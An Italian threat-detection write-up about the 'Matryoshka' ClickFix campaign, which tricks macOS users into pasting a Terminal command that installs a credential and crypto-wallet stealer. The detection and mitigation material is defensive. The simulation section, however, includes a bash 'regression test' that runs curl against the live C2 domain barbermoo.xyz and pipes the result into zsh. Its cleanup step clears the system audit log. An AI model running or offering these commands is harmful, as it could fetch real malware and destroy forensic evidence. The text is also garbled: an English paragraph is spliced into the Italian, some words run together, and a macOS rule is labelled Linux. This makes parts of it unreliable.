Analizzare la Nuova Variante “Matryoshka” di ClickFix: Campagna di Typosquatting che Distribuisce un Stealer per macOS
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Una nuova operazione di malware per macOS, denominata Matryoshka, sfrutta un dominio typosquattato per ingegnerizzare socialmente le vittime affinché incollino un comando malevolo nel Terminale. Il comando in una riga estrae uno script codificato che viene decodificato in memoria e infine distribuisce uno stealer basato su AppleScript mirato alle credenziali del browser e ai portafogli di criptovalute. L’installer viene eseguito silenziosamente in background, sopprimendo l’output visibile, e carica i dati raccolti usando un header API personalizzato. La campagna è guidata dall’interazione dell’utente piuttosto che da un exploit software.
Investigazione
Gli analisti di Intego hanno ricostruito la catena da capo a coda: un dominio typosquattato reindirizza gli utenti a uno stage shell leggero ospitato su barbermoo.xyz. Quello script esegue la decodifica Base64 + gzip in memoria, esegue un loader che recupera il payload AppleScript e mette in scena i risultati della raccolta in /tmp/osalogging.zip prima dell’esfiltrazione. L’AppleScript tenta il furto di credenziali presentando un falso prompt delle Preferenze di Sistema e si rivolge anche agli strumenti crittografici sostituendo o patchando i pacchetti applicativi Ledger Live e Trezor Suite. analysts reconstructed the chain end to end: a typo-squatted domain redirects users to a lightweight shell stage hosted at barbermoo.xyz. That script performs Base64 + gzip decoding in memory, executes a loader that retrieves the AppleScript payload, and stages collection results into /tmp/osalogging.zip before exfiltration. The AppleScript attempts credential theft by presenting a fake System Preferences prompt, and it also targets crypto tooling by replacing or patching Ledger Live and Trezor Suite application bundles.
Mitigazione
La consapevolezza dell’utente è il controllo principale: non incollare comandi nel Terminale da siti web. Bloccare e monitorare i domini typosquattati e quelli legati al C2 identificati, così come l’infrastruttura di distribuzione del traffico che supporta la consegna. Applicare una lista di ammissione delle applicazioni e utilizzare una protezione endpoint in grado di rilevare esecuzioni sospette di osascript e pattern di recupero anomali basati su curl.
Risposta
Generare allarmi su curl avviato dal Terminale e pipato a zsh o osascript, monitorare la creazione di /tmp/osalogging.zip e segnalare cambiamenti inattesi ai pacchetti Ledger Live e Trezor Suite. Applicare il filtraggio DNS per barbermoo.xyz, comparisions.org, e macfilesendstream.com. Indagare su qualsiasi processo che si avvii silenziosamente in background immediatamente dopo l’esecuzione di un comando guidato da curl.
Flusso di attacco
Rilevamenti
Possibile Manipolazione di Stringhe Codificate in Base64 (tramite cmdline)
Vedi
L’Archivio è Stato Creato Nella Cartella Temporanea di MacOS (tramite file_event)
Vedi
Comando e Controllo Sospetto da Richiesta DNS di Dominio di Livello Superiore Insolito (via dns)
Vedi
Tentativo di Esecuzione Curl Sospetto [MacOS] (tramite cmdline)
Vedi
Rilevamento dell’Esecuzione del Comando Terminale della Variante Matryoshka [Creazione Processo Linux]
Vedi
Esecuzione di Simulazione
Prerequisito: Il controllo Telemetry & Baseline Pre-flight deve essere stato superato.
Motivo: Questa sezione espone l’esatta esecuzione della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirano a generare l’esatta telemetria prevista dalla logica di rilevamento.
-
Narrazione & Comandi di Attacco:
Un avversario che ha già compromesso un account macOS a bassa privilegi vuole eseguire un payload remoto senza scrivere files su disco. Creano un comando in una riga che recupera uno script codificato in base-64 da un dominio C2 malevolo (barbermoo.xyz), lo indirizza direttamente azsh, e alla fine usaevalper eseguire il payload in memoria. Questo approccio si allinea a T1059.004 (shell Unix) e T1027 (offuscamento) e corrisponde esattamente a ciò che la regola Sigma sta osservando.-
L’attacker ottiene un token unico (
ABCD1234) che collega la richiesta alla loro campagna. -
Eseguono il seguente comando in una sessione Terminale:
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh -
All’interno dello script recuperato, una variabile
payloadcontiene un payload malevolo codificato in base64, che viene eseguito tramite:eval "$payload"
Questo genera due voci distinte nella command-line che la regola corrisponde:
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsheval "$payload"
-
-
Script di Test di Regressione:
Lo script qui sotto riproduce il comportamento malevolo in un ambiente di laboratorio controllato. Eseguilo solo su un host macOS di prova. Logga la propria esecuzione nel log di audit del sistema, conformandosi alla regola di rilevamento.#!/usr/bin/env bash # ------------------------------------------------- # Simulazione Variante Matryoshka – attiva regola Sigma # ------------------------------------------------- set -euo pipefail # --- Configurazione ------------------------------------------------- TOKEN="ABCD1234" # Sostituire con qualsiasi stringa per simulare l'unicità MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}" # Un piccolo payload innocuo per demo - echo di un messaggio (sostituire con payload reale in red-team) PAYLOAD="echo 'Payload malevolo eseguito'" # --- Passo 1: Recuperare e indirizzare a zsh (corrisponde al primo pattern di rilevamento) --- curl -fsSL "${MALICIOUS_URL}" | zsh # --- Passo 2: Simulare eval in memoria (corrisponde al secondo pattern) ------------- # In un vero attacco il payload sarebbe codificato in base64 e decodificato al volo. eval "${PAYLOAD}" -
Comandi di Pulizia: Rimuovi eventuali processi transitori e ripristina lo stato della shell.
# Uccidi qualsiasi processo zsh avviato dal test (se ancora in esecuzione) pkill -f "zsh -c .*barbermoo.xyz" # Opzionalmente cancella il registro di audit delle voci di test (richiede admin) sudo audit -c # Svuota il buffer di audit (dimostra T1070.010)